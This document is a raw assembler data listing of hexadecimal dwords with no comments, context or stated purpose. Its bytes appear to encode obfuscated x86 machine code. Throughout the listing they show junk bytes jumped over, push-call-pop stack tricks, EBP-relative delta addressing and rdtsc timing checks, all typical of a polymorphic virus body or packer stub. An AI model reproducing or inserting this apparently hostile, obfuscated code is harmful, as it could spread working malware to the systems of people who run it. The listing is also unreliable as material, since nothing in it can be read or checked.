		dd 13h,	38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 5314B01Eh
		dd 0B048D281h, 895B13B8h, 79BD0901h, 0BA061321h, 3AE51072h
		dd 4189C233h, 0FF48A04h, 85952331h, 8D061334h, 135FE18Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 4CD19BA1h, 1CD59D89h, 1890613h, 33D08B66h
		dd 299D89C2h, 8906130Bh, 6A0441h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D6B5BEC3h, 5E98B3Bh
		dd 0D3000000h, 0C262563Bh, 1309BD83h, 0F000613h, 3884h
		dd 0FFDE8A00h, 13317D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 3C7D9205h
		dd 1B04EE7Eh, 0CD8531E4h, 89061308h, 1324F9B5h,	5BD8306h
		dd 106131Dh, 37850Fh, 9D8B0000h, 61305A9h, 1451B589h, 26E90613h
		dd 8A000000h, 0F8B58BF9h, 0C7061360h, 6, 0CEB58B00h, 0C706135Eh
		dd 6, 0BA66CF00h, 8BF98151h, 1319199Dh,	0B1BD8306h, 61313h
		dd 11C840Fh, 95890000h,	6131E05h, 30A9BD83h, 0F010613h
		dd 0F885h, 59EBBB00h, 8D8B3369h, 6134F17h, 178A0Fh, 12E90000h
		dd 33000000h, 0C11113C4h, 0FBD2D293h, 137FE00Dh, 6B85F622h
		dd 1C6C6h, 6800Fh, 958B0000h, 61314BDh,	52006A60h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 9F59AD0Ch, 0BD349D06h, 0D868FF97h, 6000DF38h, 820F51h
		dd 5E000000h, 816177B4h, 38582434h, 958B00DFh, 6131CD9h
		dd 0F60FF6Ah, 1587h, 10E900h, 3B0B0000h, 219C496Eh, 5FB4A632h
		dd 32A65852h, 0B589D365h, 6130C71h, 995FF61h, 0F806130Dh
		dd 6840F61h, 8B000000h,	130E699Dh, 0E595FF06h, 6A06132Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 41F7C356h, 0FAB024E8h, 178D8B12h,	0F06134Fh
		dd 680h, 1DD28100h, 0FE09C93Dh,	0D7B70F01h, 0EB8166h, 75BD8315h
		dd 1061320h, 4850Fh, 0BA660000h, 0C08B7604h, 8B0Fh, 0BD830000h
		dd 6131625h, 83097500h,	132C81BDh, 1A740006h, 0C08B5350h
		dd 0D7D858Bh, 85890613h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h
		dd 0BD83585Bh, 6132C81h, 50187400h, 7D858B53h, 8906130Dh
		dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 0E8585BD3h, 9, 0ED87D565h
		dd 8D2CF88Ah, 0FBE381ACh, 5A5B5407h, 28A0Fh, 0D78B0000h
		dd 20CA8150h, 5B7A9E4Ch, 0BD83C08Bh, 61313B1h, 2C850F00h
		dd 89000000h, 130BE18Dh, 0D5BD8306h, 61325h, 19840Fh, 0BD010000h
		dd 6131629h, 0EE9h, 0C5A2D300h,	5B07F1F8h, 0FE91A466h
		dd 83E386BFh, 1313B1BDh, 840F0006h, 40h, 30D19D89h, 93BB0613h
		dd 8360E55Fh, 1318FDBDh, 840F0006h, 28h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 6EC35545h, 14F9B244h
		dd 8D29CA0Ah, 6130D25h,	13B1BD83h, 0F000613h, 4A84h, 178B0F00h
		dd 57000000h, 0FE8h, 5A4F7600h,	25925D14h, 2FBD3C6Ah, 91D126D7h
		dd 0BD835B5Bh, 61318FDh, 20840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0BCD5C350h, 833EC741h, 1313B1BDh, 840F0006h,	61h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E9C35646h, 3895878Dh
		dd 603FFB14h, 24858D8Bh, 0BF660613h, 8361E1D7h,	1321E9BDh
		dd 840F0006h, 25h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F5C35646h, 6CACE899h, 0E0B10E9h, 0B1BD83F6h
		dd 61313h, 76840Fh, 12E80000h, 6B000000h, 7FEFAFEEh, 0DE30EAA8h
		dd 9D029D1Ch, 0A2D60AD8h, 71BD29EAh, 5B06131Eh,	1E11BD83h
		dd 0F000613h, 4B84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 58A0F0Dh, 0BA000000h
		dd 1D7B2EF8h, 13E9h, 0E5712800h, 0AAC9A501h, 7685A360h
		dd 7EB947F0h, 39A5B141h, 217D95FFh, 95890613h, 61314B1h
		dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 1A740006h
		dd 0C08B5350h, 3115858Bh, 85890613h, 6133115h, 0A9E49D8Dh
		dd 0D3FF0615h, 0BD83585Bh, 6132C81h, 50187400h,	15858B53h
		dd 89061331h, 13311585h, 859D8D06h, 0FF0615A6h,	80585BD3h
		dd 805023C7h, 8B5A5CDFh, 0DAB70FC0h, 13B1BD83h,	0F000613h
		dd 5AD84h, 83DF8B00h, 132CF1BDh, 840F0206h, 55h, 11E9h
		dd 0A8AC6400h, 907A57F1h, 1527E025h, 5638E797h,	0BD83E331h
		dd 6131D05h, 32850F01h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E156C356h
		dd 35235E9Fh, 60029E57h, 34759589h, 0BD8B0613h,	6130C69h
		dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 8102D9C3h, 4F178D8Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F83E66C3h
		dd 0C20D1D80h, 6601FEE2h, 0BF60DB81h, 4E8h, 8000h, 50D18B00h
		dd 448B95B7h, 0B8600424h, 29DC903Dh, 11E9h, 0AFBC1B00h
		dd 0C4690AADh, 0B6E83361h, 0E48CF4C4h, 8B6192EEh, 0A0BB6600h
		dd 24448952h, 0BB665004h, 585A6200h, 0FF6AFE8Ah, 68A0Fh
		dd 9D8B0000h, 61324B1h,	12319533h, 95FF0613h, 6130D09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6AC35646h
		dd 0C4898F6Ch, 8BC79601h, 1324A59Dh, 0C1B58906h, 6106132Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h
		dd 5E9h, 0F1EB9000h, 0CA8161B0h, 73C68BDh, 65DBD8Dh, 6A0613h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 5C3EE2C3h, 10E985h, 26A30000h, 88745195h, 2B68875Ah
		dd 96BF0EF2h, 4F8BD8A5h, 66016A1Ch, 50E2EABAh, 5BDA8B56h
		dd 6A240C89h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 17C3C350h, 3D008124h, 0A1BD89B9h
		dd 8D06130Dh, 16367785h, 0E7EE8006h, 0DA80D0FFh, 204F8B6Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B0C35141h
		dd 0A61B5E87h, 0A6DC7FC3h, 0D480608Eh, 61C68BE9h, 59B3036Ah
		dd 0DE891h, 0CDA80000h,	81777E9h, 323C1174h, 508C41B3h
		dd 12E952h, 0DDFA0000h,	30F22DF9h, 0B4249CB6h, 0DA0A84B5h
		dd 0EDE810B0h, 5E9310Fh, 3B000000h, 81ACEB7Dh, 505A585Ah
		dd 9E68BB66h, 55006A91h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 208045DCh
		dd 8B82C1BEh, 1330B595h, 858DF906h, 6163677h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 6FC35646h, 0F5B4B54h
		dd 1585h, 0DE800h, 0E3E20000h, 0ADD73CA4h, 4F810D02h, 0B35461BFh
		dd 95295BFDh, 613207Dh,	6AD0FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D2376DC3h, 285E826Eh
		dd 5DBD8D71h, 0E9061306h, 8, 5B24E14Dh,	3EF53EADh, 4F8B95B7h
		dd 50006A1Ch, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 2FA93C16h, 8F113983h, 21950164h,	6A061323h
		dd 50006A01h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 17F1680Dh, 4C5F0ED2h, 89D1BF0Fh,	131B01BDh
		dd 52509106h, 310F90B2h, 585A02B7h, 0F525050h, 0BB525031h
		dd 4A3CCA2Eh, 800F310Fh, 0
		dd 585A585Ah, 0E9B58991h, 8D06130Eh, 16367785h,	37CF8006h
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0A0CF9EC3h, 85AD4039h, 0C759D8Bh,	0E9600613h
		dd 0Ch,	26655792h, 0C1EC32B7h, 0CB8CE920h, 0C8A0Fh, 6E80000h
		dd 3D000000h, 0BD027DB0h, 8B615AC5h, 6A204Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 751F35C3h
		dd 3D35BB94h, 36A2946h,	91A1DB80h, 5250F88Ah, 0E34BBB66h
		dd 0CE8915Ah, 67000000h, 9945070Bh, 0E24EC6D8h,	230A90D9h
		dd 1301F59Dh, 858D5A06h, 6163677h, 0D0FFD88Ah, 5AD88B51h
		dd 4F178D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8A526CC3h, 1FE5AD5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7C35646h, 7C3AEDCh
		dd 8BF9FECDh, 134F1785h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 7BBBE7B0h, 0FEBFC6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E4C35040h, 0AA2B60A2h
		dd 0E781757Ah, 8B6DD380h, 131EA595h, 51016A06h,	22999D23h
		dd 0E85B0613h, 4, 0FFFF9FFFh, 0CE9h, 0A911AB00h, 4687E86Ah
		dd 2CDC8D5Ch, 14E95011h, 0DE000000h, 4D6739D1h,	0DEDB30ADh
		dd 20B45155h, 0F822B522h, 8B4CF594h, 50042444h,	2850F52h
		dd 56000000h, 0E9310F5Bh, 14h, 0C283321h, 0E8813C2Eh, 6A2A8864h
		dd 0B13023EBh, 2ECB2266h, 8B585Ah, 4489C8B6h, 6A580424h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 5B08C357h, 54AF8D81h, 237F720Bh, 1312399Dh
		dd 81858D06h, 6A061636h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 657CC350h, 0D0FF9EBDh
		dd 59D8D89h, 0BD830613h, 61325D5h, 0DE840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 44C9C350h, 0EE92FC97h, 958BBD70h,	6131E99h
		dd 173DBD83h, 0F010613h, 0A885h, 0AE800h, 0C67A0000h, 64746DD8h
		dd 2EE5464h, 6850Fh, 95010000h,	613138Dh, 8B8D8D5Bh, 8B061636h
		dd 0E9036ADAh, 0Ah, 0DC0371Bh, 7A5F0C47h, 16A8BC8h, 20919D8Bh
		dd 0D1FF0613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0A2C35040h, 679504D0h, 49DD0A99h, 6656016Ah, 6A5BDF8Bh
		dd 0FFE0B601h, 4D9D8BD1h, 0E906131Fh, 6, 4543F36Dh, 11E8C4CDh
		dd 6AFA486Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3016C353h, 5E37996Ah, 6A206ACBh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 45C5C357h, 0DF9FD5Fh, 155DBD89h, 0FF6A0613h
		dd 0FFD88B66h, 130D0995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B70F9C33h
		dd 0B8D8h, 870F0000h, 2, 12E918B6h, 0FE000000h,	851C6643h
		dd 0A6E7B529h, 3D723117h, 0DD662223h, 0FC00BCDh, 8B84h
		dd 5958B00h, 83061316h,	1307F1BDh, 840F0006h, 78h, 0FE9h
		dd 62870400h, 234E89C9h, 175FA65h, 9F403BD5h, 12E85760h
		dd 55000000h, 1A749BFEh, 5C5793B4h, 0FF4D796Ch,	1A867437h
		dd 0B5B5BFEh, 1309B585h, 95FF6106h, 6131339h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DAC35141h, 6167CBCh
		dd 95336E96h, 61324F9h,	0E840Fh, 8B600000h, 13305985h
		dd 0E18D8B06h, 6106131Dh, 0F55858Bh, 9D8B0613h,	61321E5h
		dd 0C619B7h, 0FE900h, 0C1840000h, 4DBC8188h, 833176A4h
		dd 0BA23151Bh, 6A58ABh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 692372C3h, 8B385CA3h, 132A2595h
		dd 0D98C6606h, 0C1F6FBB7h, 61840F04h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0C82FC356h, 0ACA07C26h, 8B2B5C64h, 36E9DFh, 0BE90000h
		dd 23000000h, 4ED442CDh, 0B5D37AC0h, 0B58B4949h, 61329C5h
		dd 0C681D38Bh, 1180h, 24118589h, 0B5890613h, 6131A91h
		dd 6C7h, 8D890000h, 6133091h, 51006A5Eh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 83729361h
		dd 840F00F8h, 0AD8h, 31758D09h,	0F8830613h, 0CB850F01h
		dd 8B000001h, 0B8DAh, 958B0000h, 613229Dh, 840FC00Bh, 13Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 81C35040h
		dd 0EE05626Bh, 3EB987E1h, 1F883E9h, 14E840Fh, 0BD090000h
		dd 61318EDh, 0F03F883h,	8884h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 4ED64E32h
		dd 9D8BE472h, 6130B6Dh,	0B8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0D60AD89Dh
		dd 66E2EAA2h, 0BD8DD18Bh, 5B89E0h, 0BE9h, 0AADE9600h, 0E7BD443Fh
		dd 0D7FA0F3Eh, 6AE7FFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 19B0D9C3h, 1B8F9h, 85890000h, 61315F5h
		dd 89E0BD8Dh, 6A005Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 7EB6C2C3h, 519589A0h, 0FF06130Ah
		dd 52006AE7h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E8C5035Ah, 14h,	40D7F907h, 0E43A69Bh, 8C6892DEh
		dd 0E41C77B8h, 6D84C67Eh, 19D18D89h, 8D5B0613h,	1345A3BDh
		dd 13E86006h, 9A000000h, 0A3A39605h, 86DC5F5Eh,	0C9F333B2h
		dd 8F9FD838h, 8166F582h, 592446D1h, 0E961C68Bh,	2B3h, 0FE9h
		dd 491A8300h, 38450480h, 682E4024h, 14AAA518h, 4F7285C7h
		dd 50613h, 0D88B0000h, 5B8h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E951BEB0h
		dd 818h, 29799533h, 0F8830613h,	13850F02h, 0B6000001h
		dd 219D8B34h, 0B806131Dh, 0
		dd 197D952Bh, 0BA660613h, 0C00B55CFh, 0CE840Fh,	0AEB30000h
		dd 0F01F883h, 0FFFF9384h, 0ABBA66FFh, 0C5BD89EFh, 83061331h
		dd 840F03F8h, 0FFFFFEC9h, 898D3160h, 0E9061317h, 14h, 7A780AF2h
		dd 67A72B5Bh, 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah, 0B861h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 24CE03C3h, 0E827B90Eh, 11h, 952B7136h, 4CE56A84h
		dd 1FE4AB1Ch, 80185DEAh, 14E87Dh, 0F30A0000h, 0C62914F6h
		dd 47BAC7CDh, 128D62A3h, 0FC4420C6h, 8E93B89h, 27000000h
		dd 42C7652Eh, 5BDDC296h, 0E0BD8D5Bh, 6A005B89h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2B8DC352h, 9D8BE7FFh, 61322E9h, 479BBD8Dh, 8A0F0613h
		dd 3, 0E9D68B66h, 15Bh,	0DE9h, 0AE5A6900h, 0C773BF51h
		dd 0B0775C70h, 0F8838CB7h, 31850F03h, 29000000h, 13003595h
		dd 2FBD8D06h, 50061349h, 1EF99D8Bh, 0E95B0613h,	127h, 13E9h
		dd 3280A700h, 95F014CFh, 0D75DEFBh, 0B5C47D2Ah,	0B2E37094h
		dd 0F05F883h, 885h, 0ADE9FC00h,	8A000006h, 6F883F4h, 41850Fh
		dd 870F0000h, 6, 296D8589h, 0BD8D0613h,	6134B27h, 1B99B501h
		dd 0D8E90613h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E8C4C355h,	2268C811h
		dd 833B77EDh, 850F07F8h, 46h, 0BD8D3EB3h, 6132609h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 359F5E63h
		dd 48B0Fh, 0BB660000h, 1AE994F2h, 0E9000001h, 0Ah, 44A4EBB5h
		dd 2C2CE980h, 0F8832E01h, 5C850F0Ah, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0A20DC353h, 4D1FBD8Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 14DF08C3h, 97C200C0h
		dd 24858509h, 0CE90613h, 8B000000h, 1314599Dh, 5952906h
		dd 5706132Ch, 3576E281h, 3FB946D7h, 834738D2h, 840F003Fh
		dd 8Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
		dd 89C35343h, 9D2440Eh,	131CFD8Dh, 6A0F3006h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 7806C353h, 0CD8D3146h, 81061313h, 9E3481D2h,	0FC9D11Bh
		dd 683h, 1958900h, 4706131Dh, 598D8960h, 8B06130Dh, 131985B5h
		dd 958B6106h, 613103Dh,	0FFFF7EE9h, 8E8FFh, 0D09F0000h
		dd 0A0988BFBh, 5BF9CA68h, 22819D29h, 0B65F0613h, 1BBD89D4h
		dd 0F06134Fh, 286h, 8DDF8B00h, 132AA58Dh, 13E906h, 0E3130000h
		dd 0A1F4C767h, 23A1ADE4h, 5607C66h, 0C105D764h,	0EED780BFh
		dd 1CBDB5FFh, 958B0613h, 613208Dh, 0A34D858Dh, 8D500615h
		dd 13573ABDh, 0C08D8D06h, 0B8061372h, 54831ABCh, 730CF2Bh
		dd 4947C8D0h, 0B58DF875h, 6137268h, 72D88D8Dh, 0CF2B0613h
		dd 0C933A4F3h, 0B8h, 74C00B00h,	0F1BD8346h, 61307h, 95FF0674h
		dd 6131339h, 4F1BB58Bh,	858D0613h, 615A34Dh, 858DD0FFh
		dd 6134381h, 85C7D0FFh,	61311CDh, 1, 8B9A58Bh, 0B58B0613h
		dd 6133481h, 13E5AD8Bh,	0C0330613h, 6A000CC2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 78F1C356h, 7B6360Bh,	1FC5B589h, 0BD830613h, 61307E5h
		dd 15840F00h, 80000000h, 95FFF8E3h, 6131685h, 6850Fh, 95310000h
		dd 613153Dh, 22C1BD83h,	0F000613h, 18385h, 3DEE8000h, 173DBD83h
		dd 0F010613h, 17385h, 0ED953300h, 83061300h, 1321BDBDh
		dd 840F0006h, 160h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 8FC35040h, 7A0DC539h,	2A599D8Bh, 0BD830613h
		dd 6134F6Eh, 2D840F00h,	89000001h, 1334859Dh, 4D858D06h
		dd 0E80615A3h, 10h, 9FDFB996h, 3155BE4Ch, 7FC03920h, 9A592E33h
		dd 5E9h, 0D5E2100h, 8B5B4F05h, 1314519Dh, 1BB58B06h, 8906134Fh
		dd 132D19B5h, 81D0FF06h, 0F685DECAh, 0A99D2340h, 0C606130Eh
		dd 1311E185h, 820F5406h, 2, 0D48AD08Ah,	69595E68h, 11890FA8h
		dd 0E8000000h, 9, 9B098E16h, 17E383F9h,	5A616044h, 96240481h
		dd 6A56E565h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 1624C351h, 5762FD1Eh, 39A5BB75h
		dd 81665D99h, 0FF13ACF2h, 13116DB5h, 3830F06h, 0F000000h
		dd 858DDFBFh, 6133AADh,	0FFD9B70Fh, 0A5D380D0h,	7E9h, 0B3ECB00h
		dd 0ECF8CA4Ch, 6AFC006Ah, 858B60FFh, 613107Dh, 3211B589h
		dd 0FF610613h, 17E381D0h, 660486B7h, 0FF3CA8BAh, 1304C5B5h
		dd 0D8B70F06h, 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0FE20C0C3h, 89BA69B8h
		dd 8D293359h, 61328E5h,	4F1BB58Bh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0A87A3FC3h
		dd 66F59F9Fh, 0FC3D38Bh, 8Fh, 55B58B00h, 106130Fh, 1334AD85h
		dd 0FF60B06h, 0C84h, 71F9BA00h,	6C676E8h, 95BA6600h, 23858927h
		dd 8006134Fh, 0F8831FCAh, 0F9840F00h, 6A000002h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 225EC357h, 6AC66C53h, 0B8DFh, 83F50000h, 840F00F8h
		dd 51h,	11318589h, 0F8830613h, 2C850F02h, 0BB000000h, 11CAA5A9h
		dd 459E858Dh, 0EA800613h, 9292D94h, 0BD890000h,	6132185h
		dd 0C0BA6690h, 8B665038h, 0F8F890D1h, 0A19D8BC3h, 0B8061321h
		dd 0
		dd 0FE9BD89h, 7DE90613h, 9000002h, 131A998Dh, 1B806h, 0F6800000h
		dd 0A3BD8DA0h, 0B061345h, 130E3195h, 0CDE906h, 9D8B0000h
		dd 6132485h, 0F02F883h,	5A85h, 11E800h,	1CA10000h, 0C7859AEEh
		dd 8AD66222h, 0A8E99B3h, 89E7900Ch, 1300A99Dh, 0BD8D5A06h
		dd 613479Bh, 0A358589h,	0E6800613h, 8DE97Bh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 27647C3h, 88101048h,	0BB665606h, 835A7A60h, 850F03F8h
		dd 37h,	59E3BA66h, 492FBD8Dh, 85890613h, 61331E5h, 46E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0DD9533D5h, 83061304h, 850F05F8h, 1Bh, 0F91958Bh
		dd 0B5E90613h, 0E9000000h, 0Bh,	0F6E35487h, 0B73A9D84h
		dd 57B26D96h, 21F58D29h, 810F0613h, 6, 2CD99589h, 3FB90613h
		dd 6A4738D2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0B7F4C350h, 0E36291A0h, 0DE9CD24h
		dd 44000000h, 0BD26BB84h, 4F974D01h, 0B01D15F5h, 0F003F83h
		dd 4F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0ABA57B70h, 0BD3160CFh, 61322B1h
		dd 1929858Bh, 30610613h, 8D9D8B0Fh, 0D1061313h,	0D99D8BC9h
		dd 4706132Fh, 1DCBFFBAh, 0FFAEE94Dh, 8589FFFFh,	6131F79h
		dd 0F05F883h, 0E385h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0DBF59D61h, 25958B2Dh
		dd 66061320h, 0BF0FD98Ch, 4C1F6D6h, 7C850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F4BD4C3h, 88Ch, 9D2B5000h, 61329BDh, 0B85Bh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 4355E0C3h, 8B1280C7h, 131FD595h, 52E906h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0BF2F55C3h, 858B0981h, 6130A71h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 51C35040h, 0BD8960C2h, 6131A35h
		dd 66E0FF61h, 0A4F6D381h, 1CBDBD83h, 0F000613h,	0A985h
		dd 59D8900h, 50061313h,	870F60h, 0E8000000h, 10h, 0D93380AEh
		dd 2612AD67h, 0CB6A0A6h, 75FB9A9Ch, 850Fh, 615E0000h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0B441C350h, 0E1D366D0h, 11E185C6h, 0E9450613h
		dd 0Eh,	0FBF2E6B3h, 0B339C56Dh,	0CF52D4F6h, 836836B4h
		dd 536E48F9h, 2404815Ah, 20296FE6h, 16219D8Bh, 0B5FF0613h
		dd 613116Dh, 1F99BD89h,	858D0613h, 6133AADh, 0FF83F280h
		dd 89D78BD0h, 131CBD85h, 199D2B06h, 58061319h, 12BB6651h
		dd 0BD835BB2h, 6134F72h, 82840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 3519C352h, 0F65E2885h, 0DDBD89C9h, 1061309h,	13309195h
		dd 0C5B5FF06h, 6A061304h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 46BFC356h, 0F83B84C4h
		dd 1CBD95FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0FD7648C3h, 5217714Ah, 37F38166h
		dd 0F88357h, 131850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0E517CAC3h, 0FAEDB797h
		dd 8C0F512Dh, 5, 0CF38166h, 0EE95AC2h, 0DE000000h, 44EFEEABh
		dd 3DC619EDh, 9A18572Fh, 0DDBD830Fh, 61310h, 5B840Fh, 950B0000h
		dd 61305B5h, 6810F51h, 81000000h, 0C0190DDAh, 0B5FF5A3Eh
		dd 61310DDh, 8EEA8166h,	1B8F833h, 66000000h, 0CC2DF381h
		dd 274E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 63E3EFA3h, 819D8B81h, 89061313h
		dd 130E3985h, 0C5B5FF06h, 0FF061304h, 1304C5B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0DCDFC059h, 95958906h, 0FF061329h, 131CBDB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0B7043A38h, 1ECE9h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0D7D1544Dh, 2A16AE8h
		dd 0D1958B79h, 5F06130Eh, 155BD83h, 0F000613h, 0D185h
		dd 6880F00h, 8B000000h,	131CCD9Dh, 0E185C606h, 4D061311h
		dd 5B04B252h, 4E8h, 3576A800h, 525050A4h, 310FD88Bh, 448B585Ah
		dd 52500424h, 0FDE8B66h, 0BA666031h, 810FA6FEh,	0
aAzxl		db 'aZX‹',0
		db 66h,	0BAh, 0C6h
		dd 244489B0h, 0BDBB6604h, 336058EBh, 131FBD95h,	0FF61F506h
		dd 1310D1B5h, 0E422BA06h, 858D3D29h, 6133AADh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 31C35747h, 0BF74BEDDh
		dd 0D0FF0B7Ch, 0BE9h, 30F3D00h,	2DC09768h, 775196D3h, 1558589h
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0AC3365C3h, 3B910B89h, 89501A4Ch,	1325019Dh
		dd 0B85A06h, 2B000000h,	131E999Dh, 1BBD8906h, 6A06134Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 3A89C352h, 86BCBA66h, 5C70C4BAh, 0FC00B41h
		dd 5284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 9AB39DFFh, 80E9h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
